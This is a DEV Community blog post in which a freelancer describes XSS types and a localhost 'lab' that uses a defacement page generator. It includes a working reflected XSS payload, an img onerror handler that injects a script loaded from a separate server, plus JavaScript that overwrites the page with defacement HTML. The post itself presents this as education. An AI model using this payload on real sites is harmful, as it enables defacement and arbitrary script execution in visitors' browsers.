DEV Community

Sarah Varghese
Sarah Varghese

Posted on

My Freelance Journey and a Safe Dive into XSS (Cross-Site Scripting) 🌐💻

#webdev #security #xss #discuss

Hey folks! 👋 I’m Sarah Varghese, the mind behind TechieTales. Today I wanted to share a mix of my freelance experience and a little educational security fun I’ve been exploring lately.

Freelancing isn’t just about building client websites — it’s also about understanding how they work under the hood, including security vulnerabilities and how to fix them. One interesting area is XSS or Cross-Site Scripting.

What is XSS? 🕵️‍♀️

XSS (Cross-Site Scripting) happens when an attacker manages to inject malicious code into a website. If unchecked, this can:

  • Modify page content
  • Steal sensitive data
  • Run scripts in users’ browsers

There are different types of XSS:

  • Reflected: Code comes from a URL or input and reflects back immediately.
  • Stored: Code is saved in a database and executed for anyone visiting the page.
  • DOM-based: Code manipulates the page’s Document Object Model directly in the browser.

While scary on live websites, we can safely experiment locally to understand how it works — and why proper input validation is so important.

Building a Safe XSS Lab on Localhost 🏠

Instead of manually writing HTML for a defacement demo, I recently found a super fun and safe tool: the Defacement Code Generator. It lets you create retro “hacked-style” pages for learning purposes — all offline, all safe.

Step 1: Generate Your Safe HTML Page

  1. Open the Defacement Code Generator in your browser.
  2. Enter a nickname, custom message, and pick your fonts, colors, backgrounds, or even GIFs.
  3. Click Generate HTML and copy the resulting code.

This gives you a fully animated page you can use for testing XSS concepts safely.

Step 2: Serve It via JS Locally

Save the generated HTML into a local file, or embed it into a JS file like this:

const htmlContent = `PASTE_YOUR_GENERATED_HTML_HERE`;

document.open();
document.write(htmlContent);
document.close();
Enter fullscreen mode Exit fullscreen mode

This demonstrates how XSS can load content dynamically, without touching real websites.

Step 3: Trigger XSS Using onerror

You can simulate an XSS attack on a vulnerable local page, I am using a local vulnerable flights/hotel booking MMT clone:

http://localhost:8080/b2c/hotel/view/results.php?searchLocation="><img src=x onerror="var s=document.createElement('script');s.src='http://localhost:5000/lab/loadDeface.js';document.body.appendChild(s);">
Enter fullscreen mode Exit fullscreen mode

Here’s what happens:

  1. Broken image triggers onerror.
  2. <script> element loads your local JS file.
  3. The JS file writes HTML into the page — in this case, your generated “defaced” page.

⚠️ Reminder: Only ever do this on localhost or a sandbox.

Why This Matters for Freelancers

As someone building custom WordPress themes and full-stack apps, I’ve seen how small vulnerabilities can cause big problems. Learning XSS and testing with safe tools helps me:

  • Build safer websites for clients.
  • Understand how attackers think and how to defend against them.
  • Experiment with creative HTML/JS injection safely, using tools like the Defacement Code Generator.

Wrapping Up

Security doesn’t have to be boring! By setting up a safe XSS lab and using educational tools, you can experiment, learn, and write code that’s both creative and safe.

Freelancers who understand these concepts become more confident and professional. 🚀

Stay curious, keep coding, and always keep your localhost safe!

Top comments (0)